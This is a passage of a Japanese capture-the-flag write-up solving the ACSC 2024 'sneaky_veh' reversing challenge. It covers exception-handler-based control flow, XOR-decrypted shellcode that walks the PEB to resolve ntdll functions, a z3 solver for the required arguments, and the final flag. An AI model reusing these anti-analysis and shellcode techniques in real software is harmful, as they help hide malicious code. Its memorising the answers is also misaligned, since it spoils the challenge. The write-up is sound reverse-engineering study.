        printf("VirtualAlloc failed\n");
        exit(-1);
      }
      memset(g_pAllocatedAddressSize0x1000, 0, 0x1000u);// ここでアクセス違反例外が起こって別の場所へ移動する
      ms_exc.registration.TryLevel = -2;
      printf("See Ya!\n");
      return 0;
    }
    else
    {
      printf("Too few arguments!\n");
      return -1;
    }
  }
  else
  {
    printf("CommandLineToArgvW failed \n");
    return -1;
  }
}

しかしmain関数の逆アセンブル結果をグラフ表示すると、独立しているように見えるブロックがあることが分かります:

main関数のグラフ表示

あまり分かっていないのですが、それらのブロックのアドレスは0x4034D8にある_EH4_SCOPETABLE型グローバル変数に格納されており、main関数冒頭の以下の処理で、例外ハンドラーとして設定されているようです:

.text:00401D53 push    0FFFFFFFEh
.text:00401D55 push    offset stru_4034D8
.text:00401D5A push    offset _main_SEH
.text:00401D5F mov     eax, large fs:0
.text:00401D65 push    eax

また、main関数中でVirtualAlloc関数でメモリを確保していますが、その際にメモリ保護属性には2(PAGE_READONLY) | 0x100(PAGE_GUARD)のみを指定しているため、書き込み不可能です。そのためその後のmemset中で書き込み違反が発生します。各種例外ハンドラー用アドレスにブレークポイントを設置して実行してみると、memsetでのEXCEPTION_ACCESS_VIOLATIONの後に、0x401EAEが実行されることが分かります。

このように、本問題では意図的に例外を発生させて、例外ハンドラー経由で制御を移しています。また、例外ハンドラーは逆コンパイル画面に現れないようなので、逆アセンブル表示から内容を確認する必要があります。

1バイトXORされる機械語2種類の特定、兼コマンドライン引数2個の制約式

0x401EAEから呼び出している関数中の0x401C38付近の処理で、0x404020の配列4要素のバイト列を、4種類のコマンドライン引数それぞれに依存した1バイトXORをしている処理があります:

int __stdcall ExceptionHandler_XorEncryptedCode(int **a1)
{
  int pSomeAddress; // [esp+4h] [ebp-2Ch]
  unsigned int dwXorLength; // [esp+Ch] [ebp-24h]
  BYTE *pbyteArrayEncryptedToXor; // [esp+14h] [ebp-1Ch]
  unsigned int dwIndex; // [esp+18h] [ebp-18h]
  int dwStatusCode; // [esp+20h] [ebp-10h]
  BYTE byteValueToXor; // [esp+27h] [ebp-9h]

  dwStatusCode = **a1;
  pSomeAddress = a1[1][46];
  if ( dwStatusCode != EXCEPTION_GUARD_PAGE
    && dwStatusCode != EXCEPTION_BREAKPOINT
    && dwStatusCode != EXCEPTION_ILLEGAL_INSTRUCTION )
  {
    return 1;
  }
  if ( !g_dwExceptionCounter && dwStatusCode == EXCEPTION_GUARD_PAGE
    || g_dwExceptionCounter == 1 && dwStatusCode == EXCEPTION_BREAKPOINT
    || g_dwExceptionCounter == 2 && dwStatusCode == EXCEPTION_BREAKPOINT
    || g_dwExceptionCounter == 3 && dwStatusCode == EXCEPTION_ILLEGAL_INSTRUCTION )
  {
    pbyteArrayEncryptedToXor = g_pbyteArrayEncryptedToXorArraySize4[g_dwExceptionCounter];
    byteValueToXor = HIBYTE(g_dwArgsSize4[g_dwExceptionCounter]) ^ HIWORD(g_dwArgsSize4[g_dwExceptionCounter]) ^ BYTE1(g_dwArgsSize4[g_dwExceptionCounter]) ^ g_dwArgsSize4[g_dwExceptionCounter];// 実質4バイトのバイトごとXOR
    dwXorLength = g_dwXorLengthArraySize4[g_dwExceptionCounter];
    for ( dwIndex = 0; dwIndex < dwXorLength; ++dwIndex )
      pbyteArrayEncryptedToXor[dwIndex] ^= byteValueToXor; // ここで1バイトXOR
    if ( g_dwExceptionCounter > 0 && g_dwExceptionCounter < 4 )
      memmove(
        (void *)(pSomeAddress & 0xFFFFFFF0),    // 分かっていないけれど、ここを最初に通ったときは「VirtualAlloc結果アドレスに1回目XOR機械語をコピーした状態で、22バイト分、1バイト手前にずらす」ことをしていた。先頭のint3を削除していそう。
        (const void *)(g_dwExpectedValueArraySize4[g_dwExceptionCounter + 3] + (pSomeAddress & 0xFFFFFFF0)),
        g_dwExceptionCodeArraySize4[g_dwExceptionCounter + 3] - g_dwExpectedValueArraySize4[g_dwExceptionCounter + 3]);
  }
  ++g_dwExceptionCounter;
  return 1;
}

例えば1番目のコマンドライン引数4バイト値を1バイトごとにXORした値で、0x404148以降の内容を、0x404128のDWORD値の23バイト分を、1バイトXORします。同様に2番目のコマンドライン引数4バイト値を1バイトごとにXORした値で、0x404030から197バイト分を、1バイトXORします。

その後、0x401EB8へジャンプします。main関数中でVirtualAllocで確保したアドレスをVirtualProtectで読み書き実行に変更して、先ほど1バイトXORした0x404148からの内容23バイトをコピーします(mov ecx, 5からのrep movsdで5*4=20バイト、その後のmovswmovsbの3バイトを合わせて23バイト)。0x401F04でコピー結果を実行します。後で、0x404030側も同様に実行します。

さて、1バイトXOR結果を機械語として実行している以上、機械語として意味がある内容になるようなコマンドライン引数を与えたいです。どのような1バイトなら「それらしい」ものになるか確かめるスクリプトを書きました。実行結果から目で拾った内容をコメントで加えています:

#!/usr/bin/env python3

import pwn
import z3

pwn.context.update(arch='i386', os='windows')

OPCODE_RET = 0xc3               # retn

def bruteforce_xor(machine_code):
    for i in range(256):
        xored = pwn.xor(machine_code, i)
        if OPCODE_RET in xored:
            yield (i, pwn.disasm(xored))

def test_xor_1st():
    # 0x00404148
    machine_code = bytes.fromhex("D4 4D 91 FD 7C B9 28 18 18 18 93 58 14 93 58 0C 93 18 93 58 08 45 DB")
    for (i, asm) in bruteforce_xor(machine_code):
        print(f"{i = }\n{asm}")
    # それっぽいやつ
    # i = 24
    #    0:   cc                      int3
    #    1:   55                      push   ebp
    #    2:   89 e5                   mov    ebp, esp
    #    4:   64 a1 30 00 00 00       mov    eax, fs:0x30
    #    a:   8b 40 0c                mov    eax, DWORD PTR [eax+0xc]
    #    d:   8b 40 14                mov    eax, DWORD PTR [eax+0x14]
    #   10:   8b 00                   mov    eax, DWORD PTR [eax]
    #   12:   8b 40 10                mov    eax, DWORD PTR [eax+0x10]
    #   15:   5d                      pop    ebp
    #   16:   c3                      ret
    for (i, b) in enumerate(pwn.xor(machine_code, 10)):
        print(f"{b:02x}", end=" " if i%16<15 else "\n")

def test_xor_2nd():
    # 00404030
    machine_code = bytes.fromhex("C6 5F 83 EF 89 E6 16 3B CA 83 4F F6 83 4F F2 83 4F FE 83 4F FA 83 4F E6 83 4F E2 83 4F EE 62 6F 78 0A 0A 62 6B 64 6E 66 62 63 65 64 42 62 69 6F 7A 7E 62 6F 6E 4F 72 62 69 7E 65 78 62 6E 6E 5C 6F 62 58 7E 66 4B 83 6F E6 6E AB 3A 0A 0A 0A 81 4A 06 81 4A 1E 81 0A 81 4A 1A 83 C9 81 49 36 0B D2 81 4A 72 0B D2 81 42 1E 83 47 F6 81 42 16 0B D3 83 47 F2 81 42 2A 0B D3 83 47 FE 81 42 2E 0B D3 83 47 FA 3B CA 3B C3 81 7F E6 81 77 FE F6 81 36 8D 0B D5 6C B3 15 0A F9 AC 7E 0C 4A 31 4F F6 7F EC 81 47 FA 81 5F F2 6C 81 0E 4B 81 0E 88 0B D2 E1 0A 3B D8 81 47 02 5B 60 0B F5 DA 89 CE 16 89 CE 2A 57 C9")
    for (i, asm) in bruteforce_xor(machine_code):
        if " in " not in asm and " out " not in asm and "(bad)" not in asm:
            print(f"{i = }\n{asm}")
    # それっぽいやつ
    # i = 10
    #    0:   cc                      int3
    #    1:   55                      push   ebp
    #    2:   89 e5                   mov    ebp, esp
    #    4:   83 ec 1c                sub    esp, 0x1c
    #    7:   31 c0                   xor    eax, eax
    #    9:   89 45 fc                mov    DWORD PTR [ebp-0x4], eax
    #    c:   89 45 f8                mov    DWORD PTR [ebp-0x8], eax
    #    f:   89 45 f4                mov    DWORD PTR [ebp-0xc], eax
    #   12:   89 45 f0                mov    DWORD PTR [ebp-0x10], eax
    #   15:   89 45 ec                mov    DWORD PTR [ebp-0x14], eax
    #   18:   89 45 e8                mov    DWORD PTR [ebp-0x18], eax
    #   1b:   89 45 e4                mov    DWORD PTR [ebp-0x1c], eax
    #   1e:   68 65 72 00 00          push   0x7265
    #   23:   68 61 6e 64 6c          push   0x6c646e61
    #   28:   68 69 6f 6e 48          push   0x486e6f69
    #   2d:   68 63 65 70 74          push   0x74706563
    #   32:   68 65 64 45 78          push   0x78456465
    #   37:   68 63 74 6f 72          push   0x726f7463
    #   3c:   68 64 64 56 65          push   0x65566464
    #   41:   68 52 74 6c 41          push   0x416c7452
    #   46:   89 65 ec                mov    DWORD PTR [ebp-0x14], esp
    #   49:   64 a1 30 00 00 00       mov    eax, fs:0x30
    #   4f:   8b 40 0c                mov    eax, DWORD PTR [eax+0xc]
    #   52:   8b 40 14                mov    eax, DWORD PTR [eax+0x14]
    #   55:   8b 00                   mov    eax, DWORD PTR [eax]
    #   57:   8b 40 10                mov    eax, DWORD PTR [eax+0x10]
    #   5a:   89 c3                   mov    ebx, eax
    #   5c:   8b 43 3c                mov    eax, DWORD PTR [ebx+0x3c]
    #   5f:   01 d8                   add    eax, ebx
    #   61:   8b 40 78                mov    eax, DWORD PTR [eax+0x78]
    #   64:   01 d8                   add    eax, ebx
    #   66:   8b 48 14                mov    ecx, DWORD PTR [eax+0x14]
    #   69:   89 4d fc                mov    DWORD PTR [ebp-0x4], ecx
    #   6c:   8b 48 1c                mov    ecx, DWORD PTR [eax+0x1c]
    #   6f:   01 d9                   add    ecx, ebx
    #   71:   89 4d f8                mov    DWORD PTR [ebp-0x8], ecx
    #   74:   8b 48 20                mov    ecx, DWORD PTR [eax+0x20]
    #   77:   01 d9                   add    ecx, ebx
    #   79:   89 4d f4                mov    DWORD PTR [ebp-0xc], ecx
    #   7c:   8b 48 24                mov    ecx, DWORD PTR [eax+0x24]
    #   7f:   01 d9                   add    ecx, ebx
    #   81:   89 4d f0                mov    DWORD PTR [ebp-0x10], ecx
    #   84:   31 c0                   xor    eax, eax
    #   86:   31 c9                   xor    ecx, ecx
    #   88:   8b 75 ec                mov    esi, DWORD PTR [ebp-0x14]
    #   8b:   8b 7d f4                mov    edi, DWORD PTR [ebp-0xc]
    #   8e:   fc                      cld
    #   8f:   8b 3c 87                mov    edi, DWORD PTR [edi+eax*4]
    #   92:   01 df                   add    edi, ebx
    #   94:   66 b9 1f 00             mov    cx, 0x1f
    #   98:   f3 a6                   repz cmps BYTE PTR ds:[esi], BYTE PTR es:[edi]
    #   9a:   74 06                   je     0xa2
    #   9c:   40                      inc    eax
    #   9d:   3b 45 fc                cmp    eax, DWORD PTR [ebp-0x4]
    #   a0:   75 e6                   jne    0x88
    #   a2:   8b 4d f0                mov    ecx, DWORD PTR [ebp-0x10]
    #   a5:   8b 55 f8                mov    edx, DWORD PTR [ebp-0x8]
    #   a8:   66 8b 04 41             mov    ax, WORD PTR [ecx+eax*2]
    #   ac:   8b 04 82                mov    eax, DWORD PTR [edx+eax*4]
    #   af:   01 d8                   add    eax, ebx
    #   b1:   eb 00                   jmp    0xb3
    #   b3:   31 d2                   xor    edx, edx
    #   b5:   8b 4d 08                mov    ecx, DWORD PTR [ebp+0x8]
    #   b8:   51                      push   ecx
    #   b9:   6a 01                   push   0x1
    #   bb:   ff d0                   call   eax
    #   bd:   83 c4 1c                add    esp, 0x1c
    #   c0:   83 c4 20                add    esp, 0x20
    #   c3:   5d                      pop    ebp
    #   c4:   c3                      ret
    for (i, b) in enumerate(pwn.xor(machine_code, 10)):
        print(f"{b:02x}", end=" " if i%16<15 else "\n")
    return

test_xor_1st()
test_xor_2nd()

この結果から、入力コマンドライン引数について以下のことが言えそうだと分かりました:

  1. 1番目のコマンドライン引数4バイト値の、1バイトごとのXOR結果は、0x18
  2. 2番目のコマンドライン引数4バイト値の、1バイトごとのXOR結果は、0x0A

また、IDAで解析をしやすくするため、「それらしい1バイトでXORした機械語列のHex表示」を使って、IDAのHex Viewでカーソル位置を変更開始アドレスへ合わせた後に、メニューのEdit→Patch Program→Change byte...から16バイトずつ変更していきました。(どうやら一度に16バイトまでしか変更できないようです。もっとまとめて変更できれば嬉しいのですが……)

以降は、コマンドライン引数をsneaky_veh_disabled_aslr.exe 0x18 0x0a 0 0へ変更して実行しました。なお、普通に実行すると、文字化けした内容のメッセージボックスが表示されます:

IDAで調べたりデバッガーで追ったりした結果、0x404148のXOR結果はntdll.dllのImageBaseを返す内容であることと、0x404030のXOR結果はRtlAddVectoredExceptionHandler(1, 引数)する内容で、引数は0x4015D0であると分かりました。

コマンドライン引数の新たな制約式

前述した通り、0x4015D0の関数はRtlAddVectoredExceptionHandlerで例外ハンドラーとして追加されます。その関数の途中で呼び出している0x4013B0の関数の中で、以下のようにコマンドライン引数を使った判定をしています:

void *__stdcall VectoredExceptionHandler_ContainsXorAndArgument(EXCEPTION_POINTERS *pExceptionInfo)
{
  DWORD ExceptionCode; // [esp+8h] [ebp-30h]
  void *pNull; // [esp+Ch] [ebp-2Ch]
  _BYTE *pAllocatedAddressSize0x1000; // [esp+1Ch] [ebp-1Ch]
  DWORD dwB; // [esp+20h] [ebp-18h]
  int dwIndexInner; // [esp+24h] [ebp-14h]
  DWORD dwA; // [esp+28h] [ebp-10h]
  int dwIndexOuter; // [esp+2Ch] [ebp-Ch]
  DWORD dwValueToXor; // [esp+30h] [ebp-8h] BYREF

  ExceptionCode = pExceptionInfo->ExceptionRecord->ExceptionCode;
  pNull = 0;
  dwA = 0;
  dwB = 0;
  dwValueToXor = 0;
  for ( dwIndexOuter = 0; dwIndexOuter < 4; ++dwIndexOuter )
  {
    dwValueToXor = g_dwValueToXorArraySize4[dwIndexOuter];
    pAllocatedAddressSize0x1000 = g_pAllocatedAddressSize0x1000;
    if ( ExceptionCode == g_dwExceptionCodeArraySize4[dwIndexOuter] && !g_bSomethingArraySize4[dwIndexOuter] )
    {
      for ( dwIndexInner = 0; dwIndexInner < 4; ++dwIndexInner )
        pAllocatedAddressSize0x1000[dwIndexInner] ^= *((_BYTE *)&dwValueToXor + dwIndexInner);// 実質4バイトXOR
      switch ( dwIndexOuter )
      {
        case 0:
          dwA = g_dwArgsSize4[0];
          dwB = g_dwArgsSize4[1];
          break;
        case 1:
          dwA = g_dwArgsSize4[1];
          dwB = g_dwArgsSize4[0];
          break;
        case 2:
          dwA = g_dwArgsSize4[2];
          dwB = g_dwArgsSize4[3];
          break;
        case 3:
          dwA = g_dwArgsSize4[3];
          dwB = g_dwArgsSize4[2];
          break;
        default:
          break;
      }
      if ( (dwB ^ ((dwA << 16) | (dwA >> 8) & 0xFF00 | HIBYTE(dwA))) == g_dwExpectedValueArraySize4[dwIndexOuter] )
      {
        g_bSomethingArraySize4[dwIndexOuter] = 1;// 多分4回全部でここを通ればいいんだと思う
        return g_pAllocatedAddressSize0x1000;
      }
      return pNull;
    }
  }
  return pNull;
}

dwIndexOuterと名付けている変数の4種類の値によって、4つのコマンドライン引数のうち2つを使って、特定の制約を満たしているかどうかを検証しています。おそらく、すべての制約を満たすことが重要だと考えました。この制約式はあとでソルバーを書く際に使います。

競技時間中にたどり着いたのはここまででした。

コマンドライン引数の更なる制約式

0x401080の関数はRC4暗号化を行う関数です。0x401230の関数からRC4暗号化関数を使用しており、コマンドライン引数4個の16バイト値を鍵に、引数のアドレスから41バイトを暗号化します。しかし、0x401230の関数がどこから呼び出されているのかが分かっていませんでした。

また、0x4012A0の関数は、引数をもとにコマンドライン引数を検証しています:

int __stdcall SomeProcVerifingArgument(_BYTE *a1)
{
  int v2; // [esp+0h] [ebp-18h]
  int v3; // [esp+4h] [ebp-14h]
  int v4; // [esp+8h] [ebp-10h]
  int v5; // [esp+Ch] [ebp-Ch]

  if ( (unsigned __int8)(*a1 ^ LOBYTE(g_dwArgsSize4[1])) == 0x99 )
    v5 = 0;
  else
    v5 = 16;
  if ( (unsigned __int8)(a1[4] ^ LOBYTE(g_dwArgsSize4[3])) == 0x4F )
    v4 = 0;
  else
    v4 = 16;
  if ( (g_dwArgsSize4[1] ^ g_dwArgsSize4[0]) == *(_DWORD *)a1 )
    v3 = 0;
  else
    v3 = 16;
  if ( (g_dwArgsSize4[3] ^ g_dwArgsSize4[2]) == *((_DWORD *)a1 + 1) )
    v2 = 0;
  else
    v2 = 16;
  return v2 | v3 | v4 | v5;
}

しかし、0x4012A0の関数がどこから呼び出されているのかが分かっていませんでした。

競技終了後のDiscordの書き込みを見て分かったことですが、0x404160から始まる、以下のような構造体の、要素数210の配列なグローバル変数に登場していました。

struct SomeExceptionRelatedStruct // sizeof=0x38
{                                       // XREF: ProcCalledFromMain_AndSetVectgoredExceptionHandler:loc_4016CF/o
                                        // .data:g_structArraySize210/r
    BYTE *pByteSomething;               // XREF: TerminateCurrentProcess_WhenSecurityCookieCheckFailed:loc_4022E7/w
                                        // TerminateCurrentProcess_WhenSecurityCookieCheckFailed+1F/w ...
    BYTE bufToCmpSize16[16];            // XREF: ProcCalledFromMain_SomeTextSectionAndGlobalVariableOperation+C0/o
                                        // ProcCalledFromMain_SomeTextSectionAndGlobalVariableOperation+153/o ...
    signed __int32 dwSizeAndOffsetForDr0;
                                        // XREF: ProcCalledFromMain_SomeTextSectionAndGlobalVariableOperation+A4/r
                                        // ProcCalledFromMain_SomeTextSectionAndGlobalVariableOperation+B5/r ...
    void *dwEipValue;                   // XREF: ProcCalledFromMain_SomeTextSectionAndGlobalVariableOperation+82/r
                                        // ProcCalledFromMain_SomeTextSectionAndGlobalVariableOperation+10E/w ...
    void *dwEaxValue;                   // どうもこれに、GlobalAllocなどのアドレスが入るらしい
    signed __int32 dwEbxValue;
    signed __int32 dwEcxValue;
    signed __int32 dwEdxValue;
    signed __int32 dwEdiValue;
    signed __int32 dwEsiValue;
    int dwRegisterBitFlags;
};

解析途中は「EAXレジスタは整数値だから、オフセット0x1CのEAX用メンバーもDWORD型でいいだろう」と思っていたことが敗因の1つです。実際はEAXレジスタ用のメンバーに、上述の0x401230の関数も0x4012A0の関数も含まれていました。オフセット0x1CのEAX用メンバーをvoid*型に変更すると、上記2関数の参照があることが分かりました。

それはそうと、IDAのグローバル変数の表示は非常に見づらいです。グローバル変数の表示のためだけでもBinary Ninjaを併用する価値はあると思いました。例は1つ前の記事をご参照ください。

さて、その重要な0x404160から始まる配列は、前述したRtlAddVectoredExceptionHandlerに追加される例外ハンドラーから、例外が1回発生する事に先頭要素から順番に使用されます。「そうなると、何度も例外が発生していくと、0x401230の関数も0x4012A0の関数もそのうち呼び出されるのでは?」と考えました。そういうわけでx32dbgで適宜ブレークポイントを設置した後にF9連打で進めようとしたのですが、EXCEPTION_SINGLE_STEPという例外が似たような場所で何度も発生しました。

競技中は何かがおかしくなったと考えて実行を諦めていたのですが、終了後になって「0x4015F8EXCEPTION_SINGLE_STEP用の分岐がある以上は、正常に実行している途中なのでは?」と思いつきました。x32dbgのメニューからOptions→Preferencesを開き、ExceptionsタブのIgnore Lastボタンをクリックして、EXCEPTION_SINGLE_LINEを無視対象へ追加しました:

EXCEPTION_SINGLE_STEPの無視設定

その状態で実行を続けると、目的の0x401230の関数や0x4012A0の関数へ到達しました!0x401230の関数では、----!!!!!!!YOU_SHALL_NOT_PASS_!!!!!!!----という文字列が引数で渡されました:

なお、ソルバーを書く上では、その文字列は使いませんでした。おそらくRC4暗号化した後に更に何かして、最後のフラグを表示しているのでしょう。

0x4012A0の関数では、ACSC2024の8バイトが引数として渡されていました:

これで、コマンドライン引数を検証している制約式が分かりました。ソルバーを書く際に使います。

ソルバーと実行結果とフラグ

これまで分かったコマンドライン引数の制約式を使って、ソルバーを書きました:

#!/usr/bin/env python3

import pwn
import z3

def xor_as_bytes(d):
    return ((d >> 24) & 0xFF) ^ ((d >> 16) & 0xFF) ^ ((d >> 8) & 0xFF) ^ ((d >> 0) & 0xFF)

solver = z3.Solver()
arg1 = z3.BitVec("arg1", 8 * 4)
arg2 = z3.BitVec("arg2", 8 * 4)
arg3 = z3.BitVec("arg3", 8 * 4)
arg4 = z3.BitVec("arg4", 8 * 4)

solver.add(xor_as_bytes(arg1) == 24)
solver.add(xor_as_bytes(arg2) == 10)

def add_one(a, b, expected):
    eax = z3.LShR(a, 24) & 0xFF
    ecx = z3.LShR(a, 8) & 0xFF00
    eax |= ecx
    edx = (a << 16) & 0xFFFF0000
    eax |= edx
    eax ^= b
    solver.add(eax == expected)

# case 0:
a = arg1
b = arg2
expected = 0x252D0D17
add_one(a, b, expected)

# case 1
a = arg2
b = arg1
expected = 0x253F1D15
add_one(a, b, expected)

# case 2
a = arg3
b = arg4
expected = 0x0BEA57768
add_one(a, b, expected)

# case 3
a = arg4
b = arg3
expected = 0x0BAA5756E
add_one(a, b, expected)

# 004012A0
expected = b"ACSC2024"
solver.add(expected[0] ^ (arg2 & 0xFF) == 0x99)
solver.add(expected[4] ^ (arg4 & 0xFF) == 0x4F)
solver.add((arg1 ^ arg2) == pwn.unpack(expected[0:4]))
solver.add((arg3 ^ arg4) == pwn.unpack(expected[4:8]))

if solver.check() == z3.sat:
    model = solver.model()
    path = r'"C:\Users\WDAGUtilityAccount\Desktop\work\sneaky_veh_disabled_aslr.exe"'
    print(f'{path} 0x{model[arg1].as_long():08X} 0x{model[arg2].as_long():08X} 0x{model[arg3].as_long():08X} 0x{model[arg4].as_long():08X}')
else:
    raise Exception("Not found!")

実行しました:

$ ./solve.py
"C:\Users\WDAGUtilityAccount\Desktop\work\sneaky_veh_disabled_aslr.exe" 0xCFE7A999 0x8CB4EAD8 0x15D89F4F 0x21EAAF7D
$

実際に入力として与えました:

メッセージボックスが表示され、フラグを入手できました(メッセージボックス内容はCtrl+Cでコピーできます): ACSC{VectOred_EecepTi0n_H@nd1ing_14_C0Ol}

感想

  • 難しい問題が多かったです。とはいえ、その中でも何問か解けたので満足です!
    • 解けたrevジャンルの問題だけでも、.pycの読解、PNG読み込み処理の詳細の理解、例外ハンドラを使用した耐解析付きのバイナリの読解など、多様な問題があって面白かったです!
  • 多くの問題が出題されていますが、取り組む時間がなくて全く見られていない問題が多いのがちょっと悔しくて残念です。
  • 固定配点だと、「高得点の中で正解者数が多い問題」へ突撃するのも有効なのかなと思いました。